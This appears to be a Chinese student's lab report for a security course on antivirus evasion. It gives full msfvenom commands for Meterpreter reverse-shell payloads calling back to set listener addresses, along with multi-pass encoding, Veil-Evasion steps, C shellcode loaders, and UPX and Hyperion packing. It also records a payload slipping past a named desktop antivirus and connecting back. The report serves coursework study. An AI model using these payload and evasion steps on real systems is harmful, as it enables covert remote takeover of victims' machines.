1.實驗內容
學習了惡意程式碼和惡意程式碼的分析,並介紹了資訊蒐集技術和怎樣進行資訊蒐集。
2.實驗過程
1.1 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
(1)使用msf生成可執行檔案並檢測
生成payload並檢測
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_0.exe
進行編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_1.exe
多次編碼
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_10.exe
混合編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 5 -b '\x00' -f exe > 20222415_msf_encode_mix.exe
選擇一個適用於Java環境的payload來生成jar檔案
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f jar > 20222415_msf_jar.jar
使用編碼器對payload進行編碼
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 - e x86/shikata_ga_nai -i 10 -f jar > 20222415_msf_jar_encode.jar
生成一個反向 TCP 連線的 Linux elf 可執行檔案
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f elf > 20222415_msf_elf.elf
使用編碼器對payload進行編碼
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -e x86/shikata_ga_nai -i 10 -f elf > 20222415_msf_elf_encode.elf
(2)使用veil
安裝veil
這裡由於我安裝veil的過程太過於曲折,反覆嘗試,多方求索,用盡了所有的力氣和手段,所有最以雖然安裝好了,但是我也不清楚我做對了什麼又做錯了什麼,因此veil安裝過程在這裡省略。
貼一張快成功之前的截圖
輸入veil
啟動,再輸入use evasion
進入evasion
輸入list
檢視payload型別
我們要使用的是7)c/meterpretermrev_tcp.py,所以輸入use 7
選擇payload
輸入set LHOST 172.16.227.205
設定反彈連結ip
set LPORT 8888
設定埠
generate
生成
在Please enter the base name for outpot files(default is payload):後輸入想取的檔名veil_trq2415
使用VirusTotal對生成的檔案進行檢測
(3)使用C + shellcode程式設計
輸入命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.227.205 LPORT=8888 -f c
生成shellcode
將shellcode寫入c程式中
進行靜態編譯
使用VirusTotal進行檢測
(4)加殼
upx加殼:輸入upx shellcode2415.exe -o shellcode2415_upx.exe
hyperion加殼:輸入cp shellcode2415.exe /usr/share/windows-resources/hyperion
輸入cd /usr/share/windows-resources/hyperion進入資料夾,輸入ls檢視生成的可執行檔案;
輸入wine hyperion.exe -v shellcode2415.exe shellcode_hyperion_2415.exe
使用VirusTotal進行檢測
2.2透過組合應用各種技術實現惡意程式碼免殺
(1)第一次我嘗試了組合技術:msfvenom生成Shellcode陣列,將shellcode分散到數個陣列中儲存,將陣列按序輸入檔案,使用另一個陣列讀取檔案內容即shellcode。
很明顯沒成功。
(2)第二次採用了shellcode+兩次編碼+c語言半手工程式設計的方法
`msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=172.16.22.205 LPORT=2422 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c > shellzuhe2.c
又失敗了。
(3)不知道怎麼就實現的一次(win11 聯想電腦管家)
在進行回連後,使用(2)生成的檔案莫名其妙實現免殺了
在我完成回連後再次進行檢測,發現我的防毒軟體檢測不出來這個程式了,為了避免是我無意間讓我的殺軟忽視了這個程式,我再次編譯重新生成了可執行檔案shellcodeceshi.exe放主機上,沒檢測出來(截圖已經手動查殺了)
又又為了避免是因為我之前忽視過shellcodezuhe.exe,導致同一個c檔案編譯出來的程式也被殺軟放過,所以我把shellcodezuhe.exe從信任區和隔離區裡移除後再次查殺,真沒殺出來。
2.3用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
由於實在是沒實現免殺,所以為了完成這步,我只能讓防毒軟體饒了我的程式,進行連線,連線步驟基本和實驗二相同,只是在主機上執行的是本次實驗生成的程式shellcodezuhe.exe,也是成功連線上了
3.問題及解決方案
- 問題1:veil安裝
- 問題1解決方案:過程太過曲折,在我同veil互相折磨的整整一天時間裡,我也不知道我做對了什麼終於感動了veil之神讓這個軟體成功地降臨我親愛的kali上,我只能把我參考的連結都貼上來
https://blog.csdn.net/cyjyjj/article/details/117447122
https://blog.csdn.net/qq_19623861/article/details/119360267
https://blog.csdn.net/Goodric/article/details/123806240
https://www.cnblogs.com/qbll/p/14618103.html#5安裝vei - 問題2:虛擬機器記憶體不夠用
- 問題2解決方案:進行kali磁碟擴容
參考https://zhuanlan.zhihu.com/p/574737232
4.學習感悟、思考等
本次實驗比前幾次實驗都要痛苦很多,最主要的就是veil的安裝,這步不是最難的,但是是最折磨人的,但是我最後還是憑藉我的毅力感動了機魂。本次實驗最主要的是最後組合實現免殺,進行了幾種嘗試,也和同學進行過幾次溝通,都沒有實現,但是最後的程式又確實表現出了免殺,我目前還是沒分析明白。本次實驗充分展現了我使不完的牛勁,也暴露出我千瘡百孔的知識面,我會在之後繼續進行學習,彌補我的不足。